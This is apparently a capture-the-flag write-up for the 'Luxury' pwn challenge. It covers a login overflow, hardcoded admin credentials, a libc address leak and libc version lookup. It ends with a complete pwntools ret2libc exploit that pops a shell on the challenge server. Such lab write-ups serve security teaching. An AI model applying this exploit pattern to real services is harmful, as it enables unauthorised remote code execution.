Luxury (Люкс)
Luxury (Люкс)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: got_leak, libc_database_lookup, pie_bypass, ret2libc, stack_buffer_overflow
Summary
Task: PWN binary with buffer overflow in login function, PIE enabled but GOT addresses leaked in admin menu. Solution: Use hardcoded credentials to access admin menu, leak libc addresses, identify libc version via libc.rip, then ret2libc with system("/bin/sh").
Luxury (Люкс) — Duckerz CTF
Description
Герой уже неделю живёт в этом роскошном отеле, но назвать его отдых идеальным сложно. Стандартный номер, скрипучая кровать, тусклый свет — явно не то, на что он рассчитывал. В соседних номерах постояльцы наслаждаются панорамными видами, джакузи и персональным обслуживанием, пока он вынужден мириться с этой посредственностью.
Такое положение дел его не устраивает. Пора переселяться.
Всё, что нужно, — изменить один параметр в базе данных. Ходят слухи, что сеть отеля не так уж и защищена, а доступ к серверу можно получить через уязвимость в роутере...
Analysis
Binary File
- ELF 64-bit PIE executable
- Protections: PIE enabled, NX enabled, NO canary, Partial RELRO
- Source file: luxury.c
Vulnerability
Buffer overflow in login() function:
- Username buffer: 0x40 bytes at rbp-0x40, reads 0x20 bytes (safe)
- Password buffer: 0x20 bytes at rbp-0x20, reads 0x60 bytes (OVERFLOW!)
Overflow calculation: 0x20 (buffer) + 0x08 (saved rbp) = 0x28 bytes to return address
Hardcoded Credentials
- Login:
admin - Password:
V3rY_sTroNg_p1ss
Program Logic
main()checks global variableis_admin- If is_admin == 0 → calls
login() - If is_admin == 1 → calls
admin() admin()menu prints addresses: printf, puts, fgets (libc), login (PIE)
Solution
Exploitation Steps
- Login with correct credentials (admin / V3rY_sTroNg_p1ss)
- In admin menu select option 2 to get puts@GOT address
- Calculate libc base:
libc_base = puts_leak - 0x805a0 - Logout (option 5) to return to login
- Send BOF payload in password field:
- 0x20 bytes padding
- 0x08 bytes (overwrite saved rbp)
- ret gadget (stack alignment for movaps)
- pop rdi; ret gadget
- "/bin/sh" address
- system() address
Libc Identification
Used libc.rip API with lower bits:
- puts: 0x5a0
- printf: 0x900
- fgets: 0x670
Found: libc6_2.41-12_amd64
- puts: 0x805a0
- system: 0x53110
- /bin/sh: 0x1a7ea4
- pop rdi; ret: 0x2a145
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' LIBC_PUTS = 0x805a0 LIBC_SYSTEM = 0x53110 LIBC_BINSH = 0x1a7ea4 LIBC_POP_RDI = 0x2a145 LIBC_RET = 0x2a146 p = remote('tasks.duckerz.ru', 30004) # Login to get leaks p.recvuntil('логин:'.encode()) p.sendline(b'admin') p.recvuntil('пароль:'.encode()) p.sendline(b'V3rY_sTroNg_p1ss') # Get puts leak p.recvuntil(b'> ') p.sendline(b'2') p.recvuntil(b'puts -> ') puts_leak = int(p.recvline().strip(), 16) # Calculate addresses libc_base = puts_leak - LIBC_PUTS system_addr = libc_base + LIBC_SYSTEM binsh_addr = libc_base + LIBC_BINSH pop_rdi = libc_base + LIBC_POP_RDI ret = libc_base + LIBC_RET log.info(f"libc base: {hex(libc_base)}") log.info(f"system: {hex(system_addr)}") log.info(f"/bin/sh: {hex(binsh_addr)}") # Logout p.recvuntil(b'> ') p.sendline(b'5') p.recvuntil('логин:'.encode()) # Build payload payload = b'A' * 0x20 # buffer payload += b'B' * 0x08 # saved rbp payload += p64(ret) # stack alignment for movaps payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) # Send exploit p.sendline(b'admin') p.recvuntil('пароль:'.encode()) p.sendline(payload) p.interactive()
Notes
- Important to use
retgadget beforepop rdifor 16-byte stack alignment (movaps requirement in system) - libc.rip allows identifying libc version by lower 12 bits of function addresses
- Logout returns to login(), which allows reusing BOF after getting leaks